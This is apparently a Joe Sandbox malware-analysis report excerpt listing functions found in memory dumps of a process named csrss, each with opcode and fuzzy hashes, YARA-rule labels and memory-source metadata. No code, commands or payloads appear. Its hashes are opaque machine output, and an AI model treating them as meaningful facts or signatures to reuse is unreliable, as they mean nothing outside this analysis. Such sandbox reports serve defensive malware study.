Opcode ID: 29fd3b374e5cce7e6d2e32ae94e2c54127246416c0c6f8d36955cab2b7da238d
Instruction ID: a57c6a7243a30b6a71e3bd10f78fc49b40fd7dfb0a407d184286360caef395d9
Opcode Fuzzy Hash: 29fd3b374e5cce7e6d2e32ae94e2c54127246416c0c6f8d36955cab2b7da238d
Instruction Fuzzy Hash: E8E06D7160E7C44FC71AAA788869854BFA0EF6720174A56EFC045CF1A3EA2D8889CB01

Function 00007FFD9B8A3479 Relevance: 1.3, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M, xrefs: 00007FFD9B8A3496

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 9662a6f0a7edc4b4c64f0a28711b2642a6b50315399ebaa1afd990c2c15976a2
Instruction ID: f7972fa8e2399312a961f1db5e1e13d47d86147c4e48fa175aa956a0419096b4
Opcode Fuzzy Hash: 9662a6f0a7edc4b4c64f0a28711b2642a6b50315399ebaa1afd990c2c15976a2
Instruction Fuzzy Hash: C9E06D7160F7C54FC71AAA388869454BFA0EF6720174A42EFC045CF1A7EA2D8889C701

Function 00007FFD9B8AB4A9 Relevance: 1.3, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M, xrefs: 00007FFD9B8AB4C6

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: dcde95b388083c1f368f52d6bd86c7e0033b0798b4ea75100a71d5e6b3a6617c
Instruction ID: 9fb58465a387d5780fb2731b08513f5f05dc013231b65668f3be5518f931d97d
Opcode Fuzzy Hash: dcde95b388083c1f368f52d6bd86c7e0033b0798b4ea75100a71d5e6b3a6617c
Instruction Fuzzy Hash: 1DE06D6160F7C44FC71AAA348869854BFA0EF6720174A52EEC046CF1A3EA2D8889C701

Function 00007FFD9B8A2879 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8A2896

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: dc9ab3491c0b874f5d2d50594ef462aa3117d30d0ccd6318565352b7f03f525b
Instruction ID: 8532100c0c394d1c9eb0ea8024b35ee7c49be4c0bf5cb95a26e54144f11e1ed6
Opcode Fuzzy Hash: dc9ab3491c0b874f5d2d50594ef462aa3117d30d0ccd6318565352b7f03f525b
Instruction Fuzzy Hash: EAE0127154F3D44FCB16EB7488658557F60AE6725078A41EEC045CF1F3E61DD949C701

Function 00007FFD9B8AB0A9 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8AB0C6

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 025812da9b57781050244f5f3bab5ff16cc2c990822aefb784938cf8651c5461
Instruction ID: f800a8de3e180ca19e73094ac45cf6e3ab7ca66176d1a2012793bc54527275ec
Opcode Fuzzy Hash: 025812da9b57781050244f5f3bab5ff16cc2c990822aefb784938cf8651c5461
Instruction Fuzzy Hash: 8DE01A6194F3C44FCB56EB7588A58443FB0AE6B61078B51EEC085CF5B3E62D9849CB01

Function 00007FFD9B8A83D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8A83F6

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 993ceb934e0c71c789c9eebdcd71252311494a13bfeace6691bc2892406647bd
Instruction ID: 6742b5389367e6f800bb7b24b142e0befbfa6c2a0f2bd58969527ee57be0a066
Opcode Fuzzy Hash: 993ceb934e0c71c789c9eebdcd71252311494a13bfeace6691bc2892406647bd
Instruction Fuzzy Hash: 5AE01A7154E3C04FCB16AB7488698457FB0AE6B21178B41DEC08ACB1B3D62D8949CB11

Function 00007FFD9B8A2279 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8A2296

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 214aa718aad9587886429d30f7064a9429d02363fff2a515ef5b235b957f1d06
Instruction ID: 04ed080fdfbf16e2c8da8beb5eb2622c6c8af6fe50b425005675e6fb2d62501e
Opcode Fuzzy Hash: 214aa718aad9587886429d30f7064a9429d02363fff2a515ef5b235b957f1d06
Instruction Fuzzy Hash: E6E04F7154A3C04FCB16EB7484A98457FB0EE6721078B41DEC08ACB1B3E62D8949C701

Function 00007FFD9B8997E9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B899806

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 8a7616099330320ad80fd803be011ffe0683e1c26a0d6ceb6c90948616b767a5
Instruction ID: d67d9b66d6c0fbcd1a4ffb2d25aa3f47487dc72fab7f9f62f6e0fb8fb8d6bbcb
Opcode Fuzzy Hash: 8a7616099330320ad80fd803be011ffe0683e1c26a0d6ceb6c90948616b767a5
Instruction Fuzzy Hash: CAE01A7054E3C44FCB1AEB7488698457FB0EE6721078B41DEC08ACB1B3D62D9949CB01

Function 00007FFD9B899639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B899656

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 7247003ca5b97fadda3c35822f1e54f7a41b73f5cc0e3e4eb6044cebfb6a18be
Instruction ID: 6d3687cf97821300e2278cf150a5c4a00bb336e4bf866895e2fac8b241e1423e
Opcode Fuzzy Hash: 7247003ca5b97fadda3c35822f1e54f7a41b73f5cc0e3e4eb6044cebfb6a18be
Instruction Fuzzy Hash: 1EE04F7054F3C04FCB16EB7484A99457FB0DE6721078B41DEC08ACB1B3E62D8949C701

Function 00007FFD9B895D39 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B895D56

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: bdd2886ea5a8dd4375fc87499eb8ee2b6469fe30472e4709303c280af103ee7a
Instruction ID: 54ef55b25012882e3e6c10cb40c4a729058a5bd97f59601918b4d900a40651d9
Opcode Fuzzy Hash: bdd2886ea5a8dd4375fc87499eb8ee2b6469fe30472e4709303c280af103ee7a
Instruction Fuzzy Hash: E3E01A6194E7D44FCB56EB7488798447FA0AE6B31078B40EEC086CF1B3E62D8949C701

Function 00007FFD9B8B091D Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec3b7f559fa184f81689eec4519ef935a4f7928039f32db8f74983efa00cff33
Instruction ID: 3472e96413f091aca69bc1ff56b31df72747b75f15b0864d213fb903cac2b290
Opcode Fuzzy Hash: ec3b7f559fa184f81689eec4519ef935a4f7928039f32db8f74983efa00cff33
Instruction Fuzzy Hash: D7D14A31B1EE5D4FDB69DB6C88659A977E1EF99700B1501BFD04DC32A2DE24AC02CB80

Function 00007FFD9BC810C6 Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331976e68e82599f3ba180f342d88d3e606757594308eb45a9d91e307a2f1263
Instruction ID: 40c709aaec4c22f219ca4dd96cc18efedc33318a3274875b15dafd2e96d2a8f1
Opcode Fuzzy Hash: 331976e68e82599f3ba180f342d88d3e606757594308eb45a9d91e307a2f1263
Instruction Fuzzy Hash: 99C1C73060DA8D8FEB68DF28D8557F937D1FF59311F04427AE84DC7292DA34A9458B82

Function 00007FFD9B8B0080 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473d3024835994cf25a64e5e5140b345b4693fe4a4632c83bf69c875f03f73bf
Instruction ID: 902b3be129fb9cdf5c583f0840391451a3594a75a7b6fd68362d6432501dcbf0
Opcode Fuzzy Hash: 473d3024835994cf25a64e5e5140b345b4693fe4a4632c83bf69c875f03f73bf
Instruction Fuzzy Hash: 1791E531B2DE0E4FEB68EB28D451975B3D1FF6831071542BAD04EC7696ED25F8428B81

Function 00007FFD9BC7B37C Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d189521bf0b47e0866386a322b3fa4fc987cd474a9ed15352bc1fb96aa888520
Instruction ID: 1f47efa1fba3320ff720cd02e86dcdd1dd857e408a5fa507cd7f07b1f4b03f31
Opcode Fuzzy Hash: d189521bf0b47e0866386a322b3fa4fc987cd474a9ed15352bc1fb96aa888520
Instruction Fuzzy Hash: E8A11731B1EA4D4FE768E7B884B75BD73C2EF98310F510579E44EC72A2ED2869068381

Function 00007FFD9B8A7595 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db087e0fea248579a988e313f9272cd0a0d3f7a2c131ffc85e100e3114f90ad8
Instruction ID: f45194bb94006942377d8dc88488f194c98e24fa006814876717079b0d538b3a
Opcode Fuzzy Hash: db087e0fea248579a988e313f9272cd0a0d3f7a2c131ffc85e100e3114f90ad8
Instruction Fuzzy Hash: 4DC14431B0E6898FE765DB68C8656753BA1EF4A314F1900BED04DC71E3CA29AC42C7A1

Function 00007FFD9B899821 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dd44c06d3fb72ab76d9bb6ed0b6915dbf33167900c72ee3d980e0f2384bb3da
Instruction ID: 543c53862e24ff17bf11565d25dac4f85b01c7e93242825b55dedecd37739e08
Opcode Fuzzy Hash: 6dd44c06d3fb72ab76d9bb6ed0b6915dbf33167900c72ee3d980e0f2384bb3da
Instruction Fuzzy Hash: 2EA1C170B0990D8FEB58EF68C4A8AA977E1FF98314F514579D01EC32A6DF38A842C741

Function 00007FFD9B8B0108 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f912122186ecc74a60dd55d42f4aeaf299942b35f30ea28bc19bd4ee96a3c64
Instruction ID: c2f615bf7cbf0370e9e95e85e0f8d10873cd23cefbcc3d098cf47dcf0f110c84
Opcode Fuzzy Hash: 1f912122186ecc74a60dd55d42f4aeaf299942b35f30ea28bc19bd4ee96a3c64
Instruction Fuzzy Hash: FE81E672B19E1D4FDF68DB6CD465AA977E1FF98701B15027AD00DD32A1DE20AD428BC0

Function 00007FFD9B8AEF05 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3bb9a2f2f754660dd9e1e5f20e8e3a6e1fe71977a27b6347aea565fadb3c28c
Instruction ID: 3b88720f876ee3c4be020057d19e0e0374b6606d2dd9bd32b4f56bcd60aae9bf
Opcode Fuzzy Hash: f3bb9a2f2f754660dd9e1e5f20e8e3a6e1fe71977a27b6347aea565fadb3c28c
Instruction Fuzzy Hash: DA91E671A0EA8D4FDB55DB6888756B97BE1FF9C300F1501BAE04DE32A2DF286901C751

Function 00007FFD9B8B0300 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 256cf1dc7f58355a3284f8856319609354d6602effcd6500270cb26cd0e58480
Instruction ID: d85752bbf6f073536a7da72c341c2c3c3ed3f7463312fdb77390ee52df3c5e64
Opcode Fuzzy Hash: 256cf1dc7f58355a3284f8856319609354d6602effcd6500270cb26cd0e58480
Instruction Fuzzy Hash: F6717C22F2DE8E0FEB599B6C58695B477D2FF9C750B5441BAD00CC31E6EE24AC028781

Function 00007FFD9B8B0AF9 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b887168d51da1a91cfb2dde5a13869981dc63cc2b8b6bc668bcf63d134497715
Instruction ID: 03f798545169229263b44f0ca7163703521fe975dc48f9d9d15f52259f0d6a2b
Opcode Fuzzy Hash: b887168d51da1a91cfb2dde5a13869981dc63cc2b8b6bc668bcf63d134497715
Instruction Fuzzy Hash: B461E431A19A1D8FDF68DBA8C465AA9B7E1EF68701F11017AD40DD7262DE21AC41CBC0

Function 00007FFD9B8B0EAD Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 493f2a5c50f270eacf95e891be9d1ebe69718609f7ee07b2ca7ef4c5c1a422ba
Instruction ID: 844ab8cf81f93b32f57ff83ffac5a4bb9598a07cb8f2032f46518af9543b93f5
Opcode Fuzzy Hash: 493f2a5c50f270eacf95e891be9d1ebe69718609f7ee07b2ca7ef4c5c1a422ba
Instruction Fuzzy Hash: 5F61F430B29E0A4FDB68EB68946197573E1FF6871071542BAD04EC72A7DE24FC428B81

Function 00007FFD9BC7C2EF Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63665d22bcaf7f5ed21b71f7c3895f2021393cfa54218e6977b78fbdc68f6ed3
Instruction ID: e5a4a0d3a22bf106f95818eb427b651469b116394aa3521b73d7400868f9c29b
Opcode Fuzzy Hash: 63665d22bcaf7f5ed21b71f7c3895f2021393cfa54218e6977b78fbdc68f6ed3
Instruction Fuzzy Hash: E3713731A4E78A8FD7269B7488A46E97FB0EF16311F0A41FBC049CB0E3D62C5949C741

Function 00007FFD9B8B7B78 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b7bd866273fd1c79741f091bf0524905a1549f097fa76a5c4766f98441bef9b
Instruction ID: 23b9ffe1a66c80aad53e299c5f6aba5439efba0b12cad2ac5a66cbdb4ad49e7c
Opcode Fuzzy Hash: 6b7bd866273fd1c79741f091bf0524905a1549f097fa76a5c4766f98441bef9b
Instruction Fuzzy Hash: 1F51B830B19A1D4FEB98EB6CC8666B973D2FF9C350B14017AE40DC32D6DD256D428B81

Function 00007FFD9B8B0791 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a38b82663d7ea1e86fd6a6fa64203b202a2b782c0ae73e57d90d51efa49277
Instruction ID: fa2e7eca885bb45b79d3c173aca78bc2e2e195e15b2efc968503ac7bd92fe679
Opcode Fuzzy Hash: 27a38b82663d7ea1e86fd6a6fa64203b202a2b782c0ae73e57d90d51efa49277
Instruction Fuzzy Hash: BB51E621B2EE8E4FDFA9DB79982467977D1EF98700B0541FAD00DC71A7DD28AA0187C0

Function 00007FFD9BC75225 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbaecb5d90d6ff5c1e1254843f388757669e2c16498b43455d6cd078bfbce8bf
Instruction ID: 7c83607f6cb885d059272bc0e310169cd60f5fe8fa6c55adc6e3f2af950c1ffa
Opcode Fuzzy Hash: cbaecb5d90d6ff5c1e1254843f388757669e2c16498b43455d6cd078bfbce8bf
Instruction Fuzzy Hash: FF418221B2995D4FE798FB6888A6BB873D1EF9C350F4141BAD40DC32E2DE247D418781

Function 00007FFD9B8B01F0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17b35fc5e989ea265d2ef68cf50b7db631852576b437c3d08dfc7a5760b46d3
Instruction ID: 1afc3f4472490b83a60d462fded2770b7af76f0e2c5e80fed4ca0934977333a4
Opcode Fuzzy Hash: f17b35fc5e989ea265d2ef68cf50b7db631852576b437c3d08dfc7a5760b46d3
Instruction Fuzzy Hash: 2E310431B29A4E4FD79CEB6C94A056177E2FF9931471542B6D40CCB1ABDA29E8028780

Function 00007FFD9B8AE96E Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5bbc208c293b28104c8af9653411cb4c79ba7085c425766e83472139ff9b8e
Instruction ID: 9d1cf272dd28ab1f74bf40c1b35e44f94b13492eb502fb25ae3c163816d5e0a7
Opcode Fuzzy Hash: 4b5bbc208c293b28104c8af9653411cb4c79ba7085c425766e83472139ff9b8e
Instruction Fuzzy Hash: ED31B532B0991D8FEBA8EB98C4A5AA873D1FF58310F150675E40DD32E2DE246D42C790

Function 00007FFD9B8B1155 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d4df77768cdb9b521bae83d313fb96859777f29baa57b5438e5fe153b57f3d4
Instruction ID: 54053210b23e8f79da85279a0b9c0b1a4c261a45dc58e1034ffce218f07a7f86
Opcode Fuzzy Hash: 2d4df77768cdb9b521bae83d313fb96859777f29baa57b5438e5fe153b57f3d4
Instruction Fuzzy Hash: E7310A31B1EB4D4FD799DB6C98A55A077A1FF5931030642F7D40CCF1A7C929E8028790

Function 00007FFD9BC7C378 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa390fe5f6666d5d30cdb8890eaed3b7571ee7177d99dfff1d22a002261388ff
Instruction ID: 159b98ce11ca771fb92290678c40c4d63aa38d32faa6016c5df49dc89876b3cf
Opcode Fuzzy Hash: fa390fe5f6666d5d30cdb8890eaed3b7571ee7177d99dfff1d22a002261388ff
Instruction Fuzzy Hash: 1631AE7194E7C54FC7178B3448A54A57FB0EF67201B0B00EBD484CB0B3E66D5A5AC722

Function 00007FFD9B8A8768 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac76d49c10594cdf68ffb7678f9f762a25de5af508a3873a40c17eca3c02b073
Instruction ID: c1aea668544eebe4ecd57ff2e7c42e2ef235d506dba27616229ee5cc27ac19f6
Opcode Fuzzy Hash: ac76d49c10594cdf68ffb7678f9f762a25de5af508a3873a40c17eca3c02b073
Instruction Fuzzy Hash: 47218A73B0B1598BE71A9B6EDC664D837D0FF1121CB4940F2C5988B193FE24740F82A2

Function 00007FFD9BC7CF66 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 334de863ec36c0fe7a9eb15b515bef550dd86b99e3d21f11a5fa64db21e296d5
Instruction ID: aed380bd18320321cb4ba47aed190c37ae8ac89f8f6a674e62416a15b926fbee
Opcode Fuzzy Hash: 334de863ec36c0fe7a9eb15b515bef550dd86b99e3d21f11a5fa64db21e296d5
Instruction Fuzzy Hash: 0431A131B0950E8FEBA8EB68C4E5BBC73A1FF98300F150179D40ED72D2CE2929868700

Function 00007FFD9B8A87B8 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22cbb1c921ff4d7adc33f71e2b6cc1c824934046c5da49350c877235a03afdd5
Instruction ID: e6fc277365ee1e3d7bbd1c7a8d587c8e56aa4a93b7a93199bbcb3d170fba2b5f
Opcode Fuzzy Hash: 22cbb1c921ff4d7adc33f71e2b6cc1c824934046c5da49350c877235a03afdd5
Instruction Fuzzy Hash: 22214DB3A0B1594BE70AAB6DEC664D837D0FF1525CB4911F2C658CB193FE24750F81A1

Function 00007FFD9B8A26AD Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b97501a6b53d0c5d95e8a90f93287382632fa39efde8889c9daf37bc84fbbdf0
Instruction ID: 2b74b8f726083ab170b6b48bf27523fdd6900d8908198125eff299ba438e3a29
Opcode Fuzzy Hash: b97501a6b53d0c5d95e8a90f93287382632fa39efde8889c9daf37bc84fbbdf0
Instruction Fuzzy Hash: 6521D822B1E94E8FE7A8ABE898B67B563D1EF58314F050276D40CC21E3DC296A864311

Function 00007FFD9B8B1191 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf509a5091ff647f8bf1a71183f0eeac907ef088b666327e0664b7eb473fd89
Instruction ID: 62dc8df1e33fd47c50dcba10162e61906437cfc64171bfd14d51c4d47e84d2f6
Opcode Fuzzy Hash: fbf509a5091ff647f8bf1a71183f0eeac907ef088b666327e0664b7eb473fd89
Instruction Fuzzy Hash: 8B21F671729A5E4FDB89EF6CD49156177A1FF9931031542F6D80CCF1ABDA24E841CB80

Function 00007FFD9B9317B6 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2976029057.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b930000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040f47e4b748abac8aecd8712649d584c54f1f74f6861d50fa5c463511251ae6
Instruction ID: 9e168e226d206124d27f3b7b6266bd3e02a1bcf68fd0aecf2fa4b725c1193d50
